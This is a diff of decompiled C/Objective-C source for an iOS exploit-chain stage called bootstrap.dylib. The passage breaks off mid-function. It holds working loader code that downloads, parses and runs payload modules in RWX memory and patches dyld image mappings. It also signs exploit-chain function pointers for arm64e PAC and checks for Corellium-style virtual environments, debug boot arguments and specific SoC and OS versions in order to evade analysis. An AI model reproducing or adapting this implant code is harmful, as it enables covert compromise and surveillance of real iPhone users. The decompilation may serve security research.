||||
/* ── init_communication (0x96f8) ───────────────────────────────── */
|
||||
|
||||
uint32_t init_communication(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
if (!ctx)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
print_log("[bootstrap] init_communication: shmem=%p", ctx->shared_memory);
|
||||
|
||||
ctx->download_func = (fn_download_t)send_log;
|
||||
ctx->log_func = (fn_log_t)send_report;
|
||||
|
||||
if (!ctx->shared_memory)
|
||||
return 0;
|
||||
|
||||
kern_return_t kr = semaphore_create(mach_task_self(), &ctx->semaphore,
|
||||
0, 1);
|
||||
if (kr) {
|
||||
print_log("[bootstrap] init_communication: semaphore_create FAIL kr=0x%x", kr);
|
||||
return 0x80000000 | kr;
|
||||
}
|
||||
print_log("[bootstrap] init_communication: OK semaphore=%u", ctx->semaphore);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── shared_mem_download (0x987c) ──────────────────────────────── */
|
||||
|
||||
uint32_t shared_mem_download(bootstrap_ctx_t *ctx, const char *url,
|
||||
const char *body, uint32_t timeout,
|
||||
void **out_data, uint32_t *out_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!out_data || !out_size)
|
||||
return err;
|
||||
|
||||
*out_data = NULL;
|
||||
*out_size = 0;
|
||||
|
||||
print_log("[bootstrap] shared_mem_download: url=%s timeout=%u body=%s", url, timeout, body ? "yes" : "no");
|
||||
|
||||
if (semaphore_wait(ctx->semaphore)) {
|
||||
print_log("[bootstrap] shared_mem_download: semaphore_wait FAIL");
|
||||
return ERR_TIMEOUT;
|
||||
}
|
||||
|
||||
if (!timeout)
|
||||
goto done_timeout;
|
||||
|
||||
uint32_t remaining = timeout;
|
||||
uint8_t *shmem = (uint8_t *)ctx->shared_memory;
|
||||
|
||||
while (remaining > 0) {
|
||||
uint32_t state = *(uint32_t *)shmem;
|
||||
if (state == 0)
|
||||
goto write_request;
|
||||
if (state == 5)
|
||||
goto wait_response;
|
||||
|
||||
thread_switch(0, 2, 1);
|
||||
remaining--;
|
||||
}
|
||||
goto done_timeout;
|
||||
|
||||
write_request:
|
||||
strncpy((char *)(shmem + 4), url, 0x7FFFFC);
|
||||
shmem[0x7FFFFF] = '\0';
|
||||
|
||||
if (body) {
|
||||
strncpy((char *)(shmem + 0x800000), body, 0x800000);
|
||||
shmem[0xFFFFFF] = '\0';
|
||||
*(uint32_t *)shmem = 7;
|
||||
} else {
|
||||
*(uint32_t *)shmem = 1;
|
||||
}
|
||||
|
||||
wait_response:
|
||||
{
|
||||
uint8_t *shmem2 = (uint8_t *)ctx->shared_memory;
|
||||
uint32_t state;
|
||||
|
||||
while (timeout > 0) {
|
||||
state = *(uint32_t *)shmem2;
|
||||
if ((state - 3) < 2)
|
||||
goto got_response;
|
||||
|
||||
thread_switch(0, 2, 1);
|
||||
timeout--;
|
||||
}
|
||||
|
||||
*(uint32_t *)shmem2 = 0;
|
||||
err = ERR_TIMEOUT;
|
||||
goto signal_done;
|
||||
|
||||
got_response:
|
||||
*(uint32_t *)shmem2 = 0;
|
||||
if (state != 3) {
|
||||
goto signal_done_ok;
|
||||
}
|
||||
|
||||
uint32_t resp_size = *(uint32_t *)(shmem2 + 4);
|
||||
if (!resp_size) {
|
||||
err = 0x3012;
|
||||
goto signal_done;
|
||||
}
|
||||
|
||||
void *copy = malloc(resp_size);
|
||||
if (!copy) {
|
||||
err += 0x8;
|
||||
goto signal_done;
|
||||
}
|
||||
|
||||
memcpy(copy, shmem2 + 8, resp_size);
|
||||
err = 0;
|
||||
*out_data = copy;
|
||||
*out_size = resp_size;
|
||||
print_log("[bootstrap] shared_mem_download: got response size=%u", resp_size);
|
||||
goto signal_done;
|
||||
}
|
||||
|
||||
signal_done_ok:
|
||||
err = 0x3012;
|
||||
|
||||
signal_done:
|
||||
*(uint32_t *)((uint8_t *)ctx->shared_memory) = 0;
|
||||
semaphore_signal(ctx->semaphore);
|
||||
return err;
|
||||
|
||||
done_timeout:
|
||||
*(uint32_t *)((uint8_t *)ctx->shared_memory) = 0;
|
||||
err = ERR_TIMEOUT;
|
||||
print_log("[bootstrap] shared_mem_download: TIMEOUT");
|
||||
semaphore_signal(ctx->semaphore);
|
||||
return err;
|
||||
}
|
||||
@@ -0,0 +1,816 @@
|
||||
/*
|
||||
* main.m - Entry point, thread management, payload processing
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x5fec-0x6fe8
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <pthread.h>
|
||||
#import <signal.h>
|
||||
#import <sys/mman.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <mach/mach.h>
|
||||
@import Darwin;
|
||||
@import UIKit;
|
||||
|
||||
extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
|
||||
extern void _exit(int);
|
||||
extern int *__error(void);
|
||||
|
||||
/* ── process_payload (0x5fec) ──────────────────────────────────── */
|
||||
/* Main payload processing function. Downloads, decrypts, and loads
|
||||
* the payload module via the bootstrap context.
|
||||
*
|
||||
* High-level flow:
|
||||
* 1. If logging enabled, report start
|
||||
* 2. Call ctx->download_func to get payload data
|
||||
* 3. Validate and decompress the data
|
||||
* 4. Parse as F00DBEEF container
|
||||
* 5. Download additional components via download_and_process
|
||||
* 6. Store container data and configure memory regions
|
||||
* 7. On flag_a/flag_new_ios: load and run module, setup mmap
|
||||
* 8. On direct mode: resolve containers, find _start, execute
|
||||
*/
|
||||
|
||||
uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url,
|
||||
uint32_t unused, uint32_t *result)
|
||||
{
|
||||
void *dl_data = NULL;
|
||||
uint32_t dl_size = 0;
|
||||
void *decrypted = NULL;
|
||||
uint32_t w23 = 0x730C4C0E; /* logging constant */
|
||||
|
||||
(void)unused;
|
||||
|
||||
if (!ctx)
|
||||
return 0;
|
||||
|
||||
print_log("[bootstrap] process_payload: url=%s logging=%d", url, ctx->logging_enabled);
|
||||
|
||||
/* Report start if logging is enabled */
|
||||
if (ctx->logging_enabled && ctx->log_func) {
|
||||
ctx->log_func(ctx, ERR_NULL_CTX + 0x1F000, NULL,
|
||||
w23 | 0x1F0);
|
||||
}
|
||||
|
||||
/* Download payload data */
|
||||
print_log("[bootstrap] process_payload: downloading payload...");
|
||||
uint32_t err = ((fn_download_t)ctx->download_func)(
|
||||
ctx, url, &dl_data, &dl_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: download FAIL err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0x1E7);
|
||||
return err;
|
||||
}
|
||||
print_log("[bootstrap] process_payload: download OK size=%u", dl_size);
|
||||
|
||||
/* Validate response */
|
||||
if (!dl_data) {
|
||||
err = ERR_NULL_CTX;
|
||||
print_log("[bootstrap] process_payload: dl_data is NULL");
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
|
||||
goto decompress;
|
||||
}
|
||||
|
||||
if (dl_size < 4) {
|
||||
err = ERR_NULL_CTX;
|
||||
print_log("[bootstrap] process_payload: dl_size too small (%u)", dl_size);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
|
||||
goto decompress;
|
||||
}
|
||||
|
||||
/* Decompress if needed (via ctx->key_ptr) */
|
||||
void *decompress_out = NULL;
|
||||
uint32_t decompress_size = 0;
|
||||
|
||||
decompress:
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: decompress phase err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0x1CD);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Report successful decompress */
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, 0xC0002, NULL, w23 + 0x1C9);
|
||||
|
||||
/* Parse payload as container */
|
||||
print_log("[bootstrap] process_payload: parsing container...");
|
||||
fn_parse_container_t parse = ctx->fn_parse_container;
|
||||
err = parse(ctx, CONTAINER_TYPE_PAYLOAD, dl_data, dl_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: parse_container FAIL err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0x1B9);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Download and process additional components */
|
||||
print_log("[bootstrap] process_payload: downloading additional components...");
|
||||
void *extra_data = NULL;
|
||||
uint32_t extra_size = 0;
|
||||
err = download_and_process(ctx, CONTAINER_TYPE_PAYLOAD,
|
||||
&extra_data, &extra_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: download_and_process FAIL err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0x2C);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Store container data pointers */
|
||||
ctx->container_data = extra_data;
|
||||
ctx->container_size = extra_size;
|
||||
print_log("[bootstrap] process_payload: container data stored size=%u", extra_size);
|
||||
|
||||
/* Report successful load */
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, 0xC0002 | 1, NULL, w23 + 0x10);
|
||||
|
||||
/* Check operational mode */
|
||||
print_log("[bootstrap] process_payload: flag_a=%d flag_new_ios=%d", ctx->flag_a, ctx->flag_new_ios);
|
||||
if (!ctx->flag_a && !ctx->flag_new_ios)
|
||||
goto direct_mode;
|
||||
|
||||
/* Check if A15-specific features needed */
|
||||
if (ctx->flag_a15_features && ctx->is_sandboxed)
|
||||
goto load_module;
|
||||
|
||||
load_module:
|
||||
/* Set ready flag */
|
||||
ctx->flag_ready = 1;
|
||||
print_log("[bootstrap] process_payload: entering load_module path");
|
||||
|
||||
/* Report ready */
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, 0xC0002 | 2, NULL, w23 + 0xD8);
|
||||
|
||||
/* Load module via find_or_load */
|
||||
err = ((fn_find_or_load_t)ctx->fn_find_or_load)(
|
||||
ctx, CONTAINER_TYPE_MODULE);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err);
|
||||
void *module = NULL;
|
||||
err = ((fn_get_pointer_t)ctx->fn_get_pointer)(
|
||||
ctx, CONTAINER_TYPE_MODULE, &module);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0xD5);
|
||||
return err;
|
||||
}
|
||||
}
|
||||
|
||||
print_log("[bootstrap] process_payload: load_module path OK");
|
||||
return 0;
|
||||
|
||||
direct_mode:
|
||||
print_log("[bootstrap] process_payload: entering direct_mode path");
|
||||
/* Direct execution mode — more complex path */
|
||||
{
|
||||
/* Get task dyld info to find executable mapping */
|
||||
mach_msg_type_number_t count = 5;
|
||||
struct {
|
||||
uint64_t all_images_addr;
|
||||
uint64_t all_images_size;
|
||||
uint8_t _rest[0x18];
|
||||
} dyld_info;
|
||||
memset(&dyld_info, 0, sizeof(dyld_info));
|
||||
stp_zero:
|
||||
|
||||
err = task_info(mach_task_self(), 17 /* TASK_DYLD_INFO */,
|
||||
(task_info_t)&dyld_info, &count);
|
||||
if (err) {
|
||||
err |= 0x80000000;
|
||||
print_log("[bootstrap] process_payload: task_info FAIL err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0xE2);
|
||||
return err;
|
||||
}
|
||||
|
||||
uint64_t all_images = dyld_info.all_images_addr;
|
||||
print_log("[bootstrap] process_payload: all_images=0x%llx", all_images);
|
||||
if (!all_images) {
|
||||
err = ERR_TASK_INFO;
|
||||
print_log("[bootstrap] process_payload: all_images is NULL");
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, ERR_TASK_INFO, NULL, w23);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Read dyld mapping info */
|
||||
uint64_t mapping = *(uint64_t *)((uint8_t *)all_images + 0x28);
|
||||
mapping &= ~1ULL; /* strip tag bit */
|
||||
print_log("[bootstrap] process_payload: mapping=0x%llx", mapping);
|
||||
|
||||
if (!mapping) {
|
||||
print_log("[bootstrap] process_payload: no mapping, using load_module_wrapper");
|
||||
/* No existing mapping — use load_module_wrapper */
|
||||
void *module_handle = NULL;
|
||||
err = load_module_wrapper(ctx, &module_handle);
|
||||
if (err)
|
||||
goto check_err;
|
||||
|
||||
/* Call module init */
|
||||
void *init_result = NULL;
|
||||
err = module_call_init((module_handle_t *)module_handle,
|
||||
0, &init_result);
|
||||
if (err)
|
||||
goto close_module;
|
||||
|
||||
/* Call module command 0xD */
|
||||
print_log("[bootstrap] process_payload: calling module cmd 0xD");
|
||||
err = module_call_cmd((module_handle_t *)module_handle,
|
||||
init_result, 0xD, NULL);
|
||||
|
||||
/* Cleanup */
|
||||
module_call_cleanup((module_handle_t *)module_handle,
|
||||
init_result);
|
||||
|
||||
close_module:
|
||||
close_module(ctx, (module_handle_t *)module_handle);
|
||||
|
||||
check_err:
|
||||
if (err == ERR_NO_CONTAINER) {
|
||||
print_log("[bootstrap] process_payload: no loader container, falling back to load_module");
|
||||
goto load_module;
|
||||
}
|
||||
if (err)
|
||||
goto report_and_done;
|
||||
|
||||
/* Setup mmap region */
|
||||
print_log("[bootstrap] process_payload: setting up mmap region (16MB RWX)");
|
||||
void *map = mmap(NULL, 0x1000000,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (map == MAP_FAILED) {
|
||||
print_log("[bootstrap] process_payload: mmap FAILED");
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, ERR_MMAP_FAIL, NULL,
|
||||
w23 + 0x94);
|
||||
return ERR_MMAP_FAIL;
|
||||
}
|
||||
print_log("[bootstrap] process_payload: mmap OK addr=%p", map);
|
||||
|
||||
ctx->atomic_state = NULL;
|
||||
ctx->exec_base = (uint8_t *)map;
|
||||
ctx->exec_size = 0x1000000;
|
||||
ctx->buffer_remaining = 0;
|
||||
memset(&ctx->mmap_base, 0, 16);
|
||||
|
||||
/* Store mapping in dyld info */
|
||||
uint64_t tag = *(uint64_t *)((uint8_t *)all_images + 0x28);
|
||||
tag = (tag & 1) | (uintptr_t)map;
|
||||
*(uint64_t *)((uint8_t *)all_images + 0x28) = tag;
|
||||
goto load_module;
|
||||
}
|
||||
|
||||
/* Have existing mapping — setup for container loading */
|
||||
{
|
||||
print_log("[bootstrap] process_payload: have existing mapping, loading data container");
|
||||
/* Download data container */
|
||||
void *data_dl = NULL;
|
||||
uint32_t data_sz = 0;
|
||||
fn_get_raw_data_t get_raw = ctx->fn_get_raw_data;
|
||||
|
||||
err = get_raw(ctx, CONTAINER_TYPE_DATA, &data_dl, &data_sz);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: get_raw_data FAIL err=0x%x", err);
|
||||
goto container_error;
|
||||
}
|
||||
|
||||
/* Load module */
|
||||
void *module_handle = NULL;
|
||||
err = load_module(ctx, ERR_NULL_CTX - 0x1D000,
|
||||
&module_handle);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: load_module FAIL err=0x%x", err);
|
||||
goto container_error;
|
||||
}
|
||||
|
||||
/* Call init */
|
||||
void *init_result = NULL;
|
||||
err = module_call_init((module_handle_t *)module_handle,
|
||||
0, &init_result);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: module_call_init FAIL err=0x%x", err);
|
||||
goto container_error;
|
||||
}
|
||||
|
||||
/* Setup task info */
|
||||
struct {
|
||||
uint8_t data[0x10];
|
||||
} task_data;
|
||||
memset(&task_data, 0, sizeof(task_data));
|
||||
*(uint32_t *)&task_data = mach_task_self();
|
||||
|
||||
/* Send command 0x1B with task info */
|
||||
print_log("[bootstrap] process_payload: calling module cmd 0xC000001B");
|
||||
err = module_call_cmd((module_handle_t *)module_handle,
|
||||
init_result, 0xC000001B, &task_data);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: cmd 0xC000001B FAIL err=0x%x", err);
|
||||
goto container_error;
|
||||
}
|
||||
|
||||
/* Check response flags */
|
||||
if (!((uint8_t *)&task_data)[6] ||
|
||||
!((uint8_t *)&task_data)[5]) {
|
||||
((uint8_t *)&task_data)[5] = 1;
|
||||
((uint8_t *)&task_data)[6] = 1;
|
||||
print_log("[bootstrap] process_payload: calling module cmd 0x4000001B");
|
||||
err = module_call_cmd((module_handle_t *)module_handle,
|
||||
init_result, 0x4000001B, &task_data);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: cmd 0x4000001B FAIL err=0x%x", err);
|
||||
goto container_error;
|
||||
}
|
||||
}
|
||||
|
||||
/* Command 0xD */
|
||||
print_log("[bootstrap] process_payload: calling module cmd 0xD");
|
||||
err = module_call_cmd((module_handle_t *)module_handle,
|
||||
init_result, 0xD, NULL);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: cmd 0xD FAIL err=0x%x", err);
|
||||
goto container_error;
|
||||
}
|
||||
|
||||
container_error:
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: container_error path, trying mmap fallback");
|
||||
/* Try alternate path with vm_allocate */
|
||||
void *new_map = mmap(NULL, 0x1000000,
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (new_map == MAP_FAILED) {
|
||||
err = (*(int *)__error());
|
||||
if (err < 0) err = -err;
|
||||
err |= 0x40000000;
|
||||
print_log("[bootstrap] process_payload: fallback mmap FAILED err=0x%x", err);
|
||||
goto cleanup_module;
|
||||
}
|
||||
print_log("[bootstrap] process_payload: fallback mmap OK addr=%p", new_map);
|
||||
|
||||
/* Allocate VM region */
|
||||
vm_address_t vm_addr = 0;
|
||||
err = vm_allocate(mach_task_self(), &vm_addr,
|
||||
0x1000000, VM_FLAGS_ANYWHERE);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: vm_allocate FAIL err=0x%x", err);
|
||||
goto vm_error;
|
||||
}
|
||||
print_log("[bootstrap] process_payload: vm_allocate OK addr=0x%lx", (unsigned long)vm_addr);
|
||||
|
||||
/* Store address and copy data */
|
||||
*(uint64_t *)new_map = vm_addr;
|
||||
extern vm_size_t vm_page_size;
|
||||
memcpy((uint8_t *)new_map + vm_page_size,
|
||||
data_dl, data_sz);
|
||||
|
||||
/* Set protection to RWX */
|
||||
err = vm_protect(mach_task_self(), (vm_address_t)new_map,
|
||||
0x1000000, 0,
|
||||
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: vm_protect FAIL err=0x%x", err);
|
||||
goto vm_error;
|
||||
}
|
||||
|
||||
/* Send command 0x26 */
|
||||
print_log("[bootstrap] process_payload: calling module cmd 0x26");
|
||||
err = module_call_cmd((module_handle_t *)module_handle,
|
||||
init_result, 0x26, NULL);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process_payload: cmd 0x26 FAIL err=0x%x", err);
|
||||
goto cleanup_module_with_map;
|
||||
}
|
||||
|
||||
/* Update dyld mapping */
|
||||
uint64_t *slot = (uint64_t *)((uint8_t *)mapping + 0x28);
|
||||
uint64_t tag = (*slot) & 1;
|
||||
*slot = tag | (uintptr_t)new_map;
|
||||
goto cleanup_module_with_map;
|
||||
|
||||
vm_error:
|
||||
err |= 0x80000000;
|
||||
|
||||
cleanup_module_with_map:
|
||||
mapping = (uint64_t)(uintptr_t)new_map;
|
||||
}
|
||||
|
||||
cleanup_module:
|
||||
if (module_handle) {
|
||||
if (init_result)
|
||||
module_call_cleanup((module_handle_t *)module_handle,
|
||||
init_result);
|
||||
close_module(ctx, (module_handle_t *)module_handle);
|
||||
}
|
||||
if (err)
|
||||
goto report_and_done;
|
||||
|
||||
/* Configure memory from mapping */
|
||||
print_log("[bootstrap] process_payload: configuring memory from mapping");
|
||||
extern vm_size_t vm_page_size;
|
||||
ctx->exec_base = (uint8_t *)((uintptr_t)decrypted +
|
||||
vm_page_size + 0x100000);
|
||||
ctx->exec_size = 0xF00000;
|
||||
ctx->atomic_state = (uint32_t *)((uintptr_t)decrypted +
|
||||
0xFFFFFC);
|
||||
ctx->mmap_base = mapping;
|
||||
ctx->mmap_secondary = (uint64_t)(uintptr_t)decrypted;
|
||||
ctx->buffer_remaining = 0;
|
||||
|
||||
/* Install function pointers for alloc_buffer etc. */
|
||||
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
|
||||
ctx->consume_buf = (fn_consume_buffer_t)consume_buffer;
|
||||
ctx->bzero_func = (fn_bzero_t)secure_bzero;
|
||||
ctx->flag_direct_mem = 1;
|
||||
ctx->flag_ready = 1;
|
||||
ctx->flag_b = 1;
|
||||
print_log("[bootstrap] process_payload: direct_mode memory configured, going to load_module");
|
||||
goto load_module;
|
||||
}
|
||||
}
|
||||
|
||||
report_and_done:
|
||||
print_log("[bootstrap] process_payload: report_and_done err=0x%x", err);
|
||||
if (ctx->logging_enabled && ctx->log_func)
|
||||
ctx->log_func(ctx, err, NULL, w23 + 0x75);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ── process (0x68d8) ──────────────────────────────────────────── */
|
||||
/* Exported entry point. Initializes the bootstrap context:
|
||||
* 1. init_communication
|
||||
* 2. init_function_table
|
||||
* 3. init_system_info
|
||||
* 4. init_sandbox_and_ua
|
||||
* 5. Validates xnu version range
|
||||
* 6. Checks virtual environment
|
||||
* 7. Validates L2 cache / boot args
|
||||
* 8. Sets up memory regions
|
||||
* 9. Clones context, spawns worker thread
|
||||
*/
|
||||
|
||||
__attribute__((visibility("default")))
|
||||
uint32_t process(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
// redirect logging to file
|
||||
struct stat std_out;
|
||||
struct stat dev_null;
|
||||
if (fstat(STDOUT_FILENO, &std_out) == 0 &&
|
||||
stat("/dev/null", &dev_null) == 0 &&
|
||||
std_out.st_dev == dev_null.st_dev &&
|
||||
std_out.st_ino == dev_null.st_ino) {
|
||||
char log_path[PATH_MAX];
|
||||
snprintf(log_path, PATH_MAX, "%s/bootstrap.log", getenv("TMPDIR"));
|
||||
int log_fd = open(log_path, O_WRONLY | O_CREAT | O_APPEND, 0644);
|
||||
if (log_fd >= 0) {
|
||||
dup2(log_fd, STDOUT_FILENO);
|
||||
dup2(log_fd, STDERR_FILENO);
|
||||
close(log_fd);
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t err = ERR_GENERIC;
|
||||
|
||||
if (!ctx)
|
||||
return err - 8;
|
||||
|
||||
/* Sign raw function pointers from exploit chain for arm64e PAC */
|
||||
sign_ctx_fptrs(ctx);
|
||||
|
||||
print_log("[bootstrap] process: entry ctx=%p", ctx);
|
||||
|
||||
/* Step 1: Initialize communication (logging, semaphore) */
|
||||
print_log("[bootstrap] process: step 1 - init_communication");
|
||||
err = init_communication(ctx);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: init_communication FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Step 2: Initialize function table (container management) */
|
||||
print_log("[bootstrap] process: step 2 - init_function_table");
|
||||
err = init_function_table(ctx);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: init_function_table FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Step 3: Initialize system info (OS version, device type, etc.) */
|
||||
print_log("[bootstrap] process: step 3 - init_system_info");
|
||||
err = init_system_info(ctx);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: init_system_info FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Step 4: Initialize sandbox detection and user-agent */
|
||||
print_log("[bootstrap] process: step 4 - init_sandbox_and_ua");
|
||||
err = init_sandbox_and_ua(ctx);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: init_sandbox_and_ua FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Validate xnu version is within expected range */
|
||||
uint64_t xnu = ctx->xnu_version;
|
||||
print_log("[bootstrap] process: xnu_version=0x%llx os_version=0x%x", xnu, ctx->os_version);
|
||||
uint64_t adjusted = xnu + 0xFFE7F6FFF9900000ULL;
|
||||
err = ERR_GENERIC - 1;
|
||||
if (adjusted > 0x000F090EFE400003ULL) {
|
||||
print_log("[bootstrap] process: xnu version out of range");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* If device is sandboxed, check additional constraints */
|
||||
if (ctx->is_sandboxed) {
|
||||
print_log("[bootstrap] process: sandboxed, checking constraints");
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
err = 0x27009;
|
||||
if (os_ver < 0x100000) {
|
||||
print_log("[bootstrap] process: os_version too low (0x%x)", os_ver);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Check CPU type for known SoC families */
|
||||
if (os_ver > 0x100401) {
|
||||
uint32_t cpu = ctx->cpu_type;
|
||||
print_log("[bootstrap] process: checking cpu_type=0x%x", cpu);
|
||||
if (cpu == SOC_TYPE_A)
|
||||
goto env_check;
|
||||
if (cpu == SOC_TYPE_B)
|
||||
goto env_check;
|
||||
if (cpu > (int32_t)SOC_TYPE_C) {
|
||||
if (cpu == SOC_TYPE_E)
|
||||
goto env_check;
|
||||
if (cpu == SOC_TYPE_D)
|
||||
goto env_check;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
env_check:
|
||||
/* Check for virtual environment (Corellium, etc.) */
|
||||
print_log("[bootstrap] process: checking virtual environment");
|
||||
{
|
||||
uint8_t is_virtual = 1;
|
||||
err = check_virtual_env(&is_virtual);
|
||||
uint32_t env_err = (is_virtual == 0) ? (ERR_GENERIC + 0x1B) : 0;
|
||||
if (err)
|
||||
env_err = ERR_GENERIC + 2;
|
||||
err = env_err;
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: virtual env check FAIL err=0x%x is_virtual=%d", err, is_virtual);
|
||||
//return err;
|
||||
}
|
||||
}
|
||||
print_log("[bootstrap] process: virtual env check OK");
|
||||
|
||||
/* Validate os_version ceiling */
|
||||
if (ctx->os_version > 0x1102FF) {
|
||||
print_log("[bootstrap] process: os_version too high (0x%x)", ctx->os_version);
|
||||
return ERR_GENERIC - 1;
|
||||
}
|
||||
|
||||
/* Check L2 cache size for additional validation */
|
||||
if (ctx->os_version >= 0xE0000) {
|
||||
uint64_t l2_size = 0;
|
||||
size_t l2_len = 8;
|
||||
int sysret = sysctlbyname("hw.l2cachesize", &l2_size, &l2_len,
|
||||
NULL, 0);
|
||||
print_log("[bootstrap] process: l2cachesize=%llu sysret=%d", l2_size, sysret);
|
||||
uint32_t l2_err = (l2_size >> 20) ? 0 : (ERR_GENERIC + 0x1B);
|
||||
if (!sysret && l2_size >= 0x100000)
|
||||
goto check_bootargs;
|
||||
err = l2_err;
|
||||
}
|
||||
|
||||
check_bootargs:
|
||||
/* Check kernel boot arguments for debug strings */
|
||||
print_log("[bootstrap] process: checking bootargs");
|
||||
{
|
||||
char bootargs[0x400];
|
||||
size_t ba_len = 0x400;
|
||||
memset(bootargs, 0, sizeof(bootargs));
|
||||
if (sysctlbyname("kern.bootargs", bootargs, &ba_len, NULL, 0) == 0
|
||||
&& bootargs[0]) {
|
||||
print_log("[bootstrap] process: bootargs='%s'", bootargs);
|
||||
if (bootargs[0] != ' ' || bootargs[1] != '\0') {
|
||||
print_log("[bootstrap] process: bootargs check FAIL");
|
||||
return ERR_GENERIC + 0x1B;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Check host info for iOS 15 and below */
|
||||
if (ctx->os_version <= 0xF0000) {
|
||||
mach_msg_type_number_t hi_count = 1;
|
||||
uint32_t hi_data = 0;
|
||||
int hi_ret = host_info(mach_host_self(), 11 /* HOST_VM_INFO */,
|
||||
(host_info_t)&hi_data, &hi_count);
|
||||
print_log("[bootstrap] process: host_info ret=%d data=0x%x", hi_ret, hi_data);
|
||||
uint32_t hi_err = (hi_data == 0) ? 0 : (ERR_GENERIC + 0x1B);
|
||||
if (hi_ret)
|
||||
goto setup_mem;
|
||||
err = hi_err;
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: host_info check FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
}
|
||||
|
||||
setup_mem:
|
||||
/* Setup memory regions */
|
||||
print_log("[bootstrap] process: step 5 - setup_memory");
|
||||
err = setup_memory(ctx);
|
||||
if (err) {
|
||||
print_log("[bootstrap] process: setup_memory FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* Clone context for worker thread */
|
||||
print_log("[bootstrap] process: cloning context for worker thread");
|
||||
bootstrap_ctx_t *clone = (bootstrap_ctx_t *)malloc(sizeof(bootstrap_ctx_t));
|
||||
if (!clone)
|
||||
goto fail;
|
||||
|
||||
memcpy(clone, ctx, sizeof(bootstrap_ctx_t));
|
||||
|
||||
/* Duplicate heap-allocated strings */
|
||||
if (clone->secondary_url) {
|
||||
clone->secondary_url = strdup(clone->secondary_url);
|
||||
if (!clone->secondary_url)
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (clone->key_ptr) {
|
||||
uint8_t *new_key = (uint8_t *)malloc(0x20);
|
||||
if (!new_key)
|
||||
goto fail;
|
||||
memcpy(new_key, clone->key_ptr, 0x20);
